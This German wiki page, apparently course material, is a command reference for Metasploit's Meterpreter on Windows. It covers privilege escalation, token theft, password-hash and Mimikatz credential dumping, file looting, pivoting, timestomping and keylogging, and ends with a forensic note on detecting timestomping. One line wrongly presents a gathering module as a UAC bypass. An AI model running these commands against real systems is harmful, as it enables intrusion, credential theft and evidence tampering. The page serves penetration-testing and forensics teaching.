Meterpreter unter Windows

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

Grundsätzliches

Meterpreter ist die interaktive Payload des Metasploit-Frameworks. Sie läuft im Speicher des kompromittierten Prozesses und stellt einen einheitlichen Befehlssatz zur Verfügung. Die Windows-Variante bietet deutlich mehr Kommandos als die Linux-Version - vor allem alles rund um Prozess-Tokens, UAC-Bypass, die SAM-Datenbank, Zeitstempel-Manipulation und die Kiwi/Mimikatz-Erweiterung.

Hinweis: Der Befehl help zeigt in der laufenden Session, welche Kommandos der konkrete Payload tatsächlich unterstützt. Erweiterungen wie Kiwi müssen erst mit load nachgeladen werden.

Session-Verwaltung

Session in den Hintergrund legen, zurück zur msf-Konsole
  • background
Vorhandene Sessions anzeigen
  • sessions -l
Session wieder aufnehmen
  • sessions -i ID
Kontextbezogene Befehlsliste anzeigen
  • help

System und Recon

Betriebssystem, Architektur, Hostname
  • sysinfo
Unter welchem Benutzer läuft die Session
  • getuid
Eigene Prozess-ID
  • getpid
Prozessliste – Spalte User zeigt, welche Prozesse als SYSTEM laufen
  • ps
In eine normale System-Shell wechseln (cmd.exe)
  • shell

Rechteausweitung

Die Rechteausweitung ist auf Windows der zentrale Zwischenschritt: Ohne NT AUTHORITY\SYSTEM lassen sich weder die SAM-Datenbank noch der LSASS-Prozess auslesen.

Bekannte lokale Privilege-Escalation-Techniken durchprobieren
  • getsystem
Neue Identität überprüfen – sollte NT AUTHORITY\SYSTEM zeigen
  • getuid
UAC umgehen, falls getsystem an fehlender Elevation scheitert
  • run post/windows/gather/win_privs
In einen als SYSTEM laufenden Prozess wechseln (PID aus ps)
  • migrate 248
Token eines anderen Prozesses stehlen
  • steal_token 1784

Zugangsdaten auslesen

Passwort-Hashes aus der SAM-Datenbank (erfordert SYSTEM)
  • hashdump
Alternative als Post-Modul, robuster auf neueren Systemen
  • run post/windows/gather/hashdump
Kiwi/Mimikatz-Erweiterung nachladen
  • load kiwi
Alle im Speicher gefundenen Zugangsdaten (LSASS, erfordert SYSTEM)
  • creds_all
Nur Kerberos-Tickets
  • creds_kerberos
Klartext-Passwörter aus dem WDigest-Provider
  • creds_wdigest

Dateisystem

Verzeichnis anzeigen und wechseln
  • pwd
  • ls
  • cd C:\\Users
Datei vom Ziel herunterladen
  • download C:\\Users\\Administrator\\Desktop\\daten.xlsx C:\\loot\\
Datei auf das Ziel hochladen
  • upload werkzeug.exe C:\\Windows\\Temp\\
Dateien suchen
  • search -f *.kdbx

Netzwerk und Pivoting

Netzwerk-Interfaces anzeigen
  • ipconfig
Aktive Verbindungen
  • netstat
Routing-Tabelle
  • route
Lokales Port-Forwarding einrichten
  • portfwd add -l 3389 -p 3389 -r 10.254.31.50
Route über die Session für weitere Module setzen
  • run autoroute -s 10.254.31.0/24

Persistenz und Anti-Forensik

Zeitstempel einer Datei manipulieren (Timestomping)
  • timestomp C:\\Windows\\Temp\\payload.exe -m "01/01/2020 10:00:00"
Zeitstempel einer Referenzdatei übernehmen
  • timestomp C:\\payload.exe -f C:\\Windows\\notepad.exe
Keylogger im aktuellen Prozess starten
  • keyscan_start
Screenshot der aktiven Sitzung
  • screenshot

Unterschiede zur Linux-Variante

Die folgenden Kommandos existieren nur unter Windows, weil sie an Windows-Mechanismen gebunden sind:

  • getsystem / steal_token – Token-basierte Rechteausweitung
  • hashdump – SAM-Datenbank (unter Linux: /etc/shadow per Post-Modul)
  • load kiwi / creds_all – LSASS-Credential-Dumping
  • timestomp – Zeitstempel-Manipulation (unter Linux: touch -d)
  • keyscan_start / screenshot – GUI-nahe Funktionen

Bezug zum Forensik-Szenario

timestomp ist der direkte Gegenspieler zur Timeline-Analyse mit dem Sleuth Kit: Ein Angreifer setzt damit die MACB-Zeitstempel zurück, um die eigene Tatzeit zu verschleiern. Für die Verteidigung ist wichtig, dass Timestomping nur die Zeitstempel im Standard-Attribut ($STANDARD_INFORMATION) verändert, während NTFS die Originalwerte im $FILE_NAME-Attribut behält – ein aufmerksamer Ermittler erkennt die Manipulation an der Diskrepanz zwischen beiden.